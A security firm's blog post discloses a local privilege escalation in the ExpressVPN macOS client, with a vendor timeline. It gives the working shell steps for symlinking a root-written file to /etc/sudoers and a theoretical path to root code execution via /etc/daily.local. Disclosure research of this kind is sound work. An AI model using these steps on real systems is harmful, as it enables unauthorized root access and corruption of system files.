2020-06-22 10:00 | Cees Elzinga

Privilege escalation in ExpressVPN for macOS

As macOS continues to become more prevalent in enterprise environments, I decided to investigate various popular applications looking for security problems. Today we will look at a local privilege escalation in ExpressVPN.

ExpressVPN is a popular VPN provider. They run over 3,000 remote servers in 160 locations and 94 countries. ExpressVPN has clients for all popular operating systems including Windows, Linux, Android, iOS, and of course macOS. The research in this post is done on the macOS client version (latest at the time).

ExpressVPN GUI


ExpressVPN runs as two processes with different privileges. The first process is responsible for the user-interface and is running with the privileges of the current user. The second process is a background daemon running as root:

user /Applications/ExpressVPN.app/Contents/MacOS/ExpressVPN
root /Applications/ExpressVPN.app/Contents/MacOS/expressvpnd --become-root

When the user interacts with the user-interface it tasks expressvpnd to execute actions that require high privileges. One of these action, for example, is connecting to a VPN server. While connecting to the server the daemon stores an encrypted copy of the current configuration. The flow for storing this file is:

  1. Open ~/Library/Application Support/com.expressvpn.ExpressVPN/userdata.XXXXXXXXXXXXXXXX000.tmp (where XXX is a timestamp)
  2. Truncate the file and write encrypted config
  3. Rename to ~/Library/Application Support/com.expressvpn.ExpressVPN/userdata2.dat

This piqued our interest. The daemon is running as root but is working in the home directory of the current user. This behaviour is often vulnerable for tricks with symlinks.

After browsing around in the user-interface we noticed the configuration file is also stored by quitting and restarting the user-interface. This made it easier to reproduce the behaviour during further analysis.

Quit the ExpressVPN GUI


There are two vulnerabilities in storing the file. Both have to do with the fact that the daemon is running with root privileges but is working in the home directory of the current user.

Vulnerability 1

The first issue is that the ExpressVPN directory is owned by the current user. A malicious user could prepare symlinks in the form of ~/Library/Application Support/com.expressvpn.ExpressVPN/userdata.XXXXXXXXXXXXXXXX000.tmp. Restarting ExpressVPN causes the daemon to write (encrypted) data to wherever the symlink points with root privileges.

The filename does contain a timestamp with microsecond precision, but an attacker can just prepare millions of symlinks for some time in the future and connect at that specific point in time.

Vulnerability 2

The second issue is that the Application Support directory that contains com.expressvpn.ExpressVPN is also owned by the current user:

$ ls -al "~/Library/Application Support"
drwx------+  98 user  staff   3136 May 13 16:46 Application Support

A malicious user can move the ExpressVPN folder and symlink the entire directory somewhere else. Restarting ExpressVPN then causes the daemon to use this new directory for storage. The directory normally has the following structure:

$ ls -al ~/Library/Application\ Support/com.expressvpn.ExpressVPN/
total 16
drwxr-xr-x   8 user  staff   256 May 14 20:51 .
drwx------+ 40 user  staff  1280 May 14 21:20 ..
-rw-r--r--   1 user  staff     5 May 14 20:51 ExpressVPN.pid
drwxr-xr-x   9 root  staff   288 May 14 20:51 certs
drwx------   2 root  staff    64 May 14 20:51 data
drwxr-xr-x   3 root  staff    96 May 14 20:51 icons
drwxr-xr-x   2 root  staff    64 May 14 20:51 log
-rw-------   1 root  staff   940 May 14 20:51 userdata2.dat

If any of these files are missing the daemon will create them with root privileges. But the daemon can be tricked if a file already exists as a symlink.

To start this attack make sure the user-interface is not running. Move the directory and prepare a new one with a symlink:

... going to target this file
$ ls -al /etc/sudoers
-r--r-----  1 root  wheel  1563 Jan 11 04:56 /etc/sudoers

$ cd Library/Application\ Support
$ mv com.expressvpn.ExpressVPN com.expressvpn.ExpressVPN.bak
$ mkdir -p com.expressvpn.ExpressVPN/certs
$ ln -s /etc/sudoers com.expressvpn.ExpressVPN/certs/client.crt

Now start the ExpressVPN user-interface. The daemon has overwritten the file:

user Application Support $ ls -al com.expressvpn.ExpressVPN/certs
total 48
drwxr-xr-x  9 user  staff   288 May 14 22:57 .
drwxr-xr-x  4 user  staff   128 May 14 22:57 ..
lrwxr-xr-x  1 user  staff    13 May 14 22:57 client.crt -> /etc/sudoers
-rw-------  1 root  staff  1679 May 14 22:57 client.key
-rw-r--r--  1 root  staff  2541 May 14 22:57 client.p12
-rw-r--r--  1 root  staff  1070 May 14 22:57 client.req
-rw-r--r--  1 root  staff  1346 May 14 22:57 clientca.crt
-rw-------  1 root  staff  1675 May 14 22:57 clientca.key
-rw-r--r--  1 root  staff     3 May 14 22:57 clientca.srl

$ sudo head -3 /etc/sudoers

Exploitation: a limited primitive

So far we have shown ExpressVPN can be tricked to write files anywhere as root. This is a good start for exploitation but the primitive has important limitations:

  • (Almost) no control over the contents of the file
  • No control over the permissions of the file

We have some control over the file contents by choosing to use vulnerability #1 or #2. When using vulnerability #1 the file will contain encrypted configuration data. By using vulnerability #2 the file will contain certificate information.

It is easy to turn this into a denial-of-service. We can overwrite system critical files as root causing system corruption. But is this primitive enough to get a local privilege escalation?

I was stuck here for some time unable to think of a good way to exploit it. I continued work on other projects and suddenly got inspiration and came up with the following vector:

macOS has a collection of shell script that are executed daily by periodic. One of these scripts (/etc/periodic/daily/999.local) checks if the file /etc/daily.local exists and executes it. We can trick ExpressVPN to create this file. The contents will then be executed as root.

However, just creating the file in its current form doesn't do much. We can fake the execution by manually calling the script:

$ sudo bash /etc/daily.local
/etc/daily.local: line 1: -----BEGIN: command not found
/etc/daily.local: line 2: MIIDqTCCApEC...gYD: command not found
/etc/daily.local: line 3: VQQIDANCVkkx...RMw: command not found
/etc/daily.local: line 4: EQYDVQQLDApF...CBD: command not found
/etc/daily.local: line 5: QTElMCMGCSqG...DA1: command not found
/etc/daily.local: line 6: MTQyMTA0NDRa...1UE: command not found
/etc/daily.local: line 7: CAwDQlZJMQ4w...BEG: command not found
/etc/daily.local: line 8: A1UECwwKRXhw...TAj: command not found
/etc/daily.local: line 9: BgkqhkiG9w0B...Ib3: command not found
/etc/daily.local: line 10: DQEBAQUAA4I...zIvs: command not found
/etc/daily.local: line 11: IyOAecy5ZTj.../pSP: No such file or directory
/etc/daily.local: line 12: H1wd2JoYds/...Ic32: No such file or directory
/etc/daily.local: line 13: SPO92F5T75+...zf87: No such file or directory
/etc/daily.local: line 14: aQp2eOWcEGG...nu2c: command not found
/etc/daily.local: line 15: y9vZsp/FsWh...KoZI: No such file or directory
/etc/daily.local: line 16: hvcNAQEFBQA...k1Qa: command not found
/etc/daily.local: line 17: eM7qAq72ovf...1dGu: command not found
/etc/daily.local: line 18: Nk/i+rSMZFs...Gv+i: No such file or directory
/etc/daily.local: line 19: DgYzx4MrjXD...GU7S: command not found
/etc/daily.local: line 20: ksa2t65+HpQ...Jr41: No such file or directory
/etc/daily.local: line 21: CUGe0zhuyPv...R4c=: command not found
/etc/daily.local: line 22: -----END: command not found

The key is that there are two error messages. Sometimes the command is not found. But when the line contains a / bash tries to follow it and read the file from there. An attacker can abuse this and the fact that the contents of the file are basically random, encoded as base64. By generating this file millions of times an attacker can just wait until he gets lucky and one of the lines start with /tmp/:


bash will now execute this file from /tmp/. Since /tmp/ is world-writable the attacker can create a file there and it will be executes as root.

Note that this attack is a bit theoretical. It might take millions of attempt, and every attempt requires a restart of the client. However, it serves as a proof-of-concept to show code execution is possible. (Do you like these puzzles? Maybe you already know a better strategy to exploit this? We would love to hear from you. We are always looking for new cyber security talents :-))

Vendor response

This issue was responsible disclosed to ExpressVPN and they were quick to confirm it. Further analysis showed an interesting flow of events. I actually re-discovered this problem. They already knew about it, patched it, and even published a new version on their website. Unfortunately, that new version contained another (non-security) issue. As a work-around they re-released an older version and and by accident reintroduced the bug.

  • 2020-03-17 - Version 7.8.0 released
  • 2020-05-04 - Version 7.8.2 released
  • 2020-05-07 - Non-security issues found in 7.8.2. Re-release of version 7.5.6
  • 2020-05-10 - Start of my research
  • 2020-05-15 - Issue reported in version 7.5.6
  • 2020-05-15 - Issue confirmed
  • 2020-05-20 - Version 7.8.3 released

ExpressVPN thanked us for reporting the issue as it prompted them to instigate new release processes around security bug fixes. These new processes help to ensure a similar problems from happening again.

Contact us

+45 3113 7316

[email protected]

Vester Farimagsgade 41, 1606 Copenhagen V

Consulting | Training | Blog | About

© 2020 Danish Cyber Defence A/S · Vester Farimagsgade 41 · 1606 Copenhagen V · CVR 38871064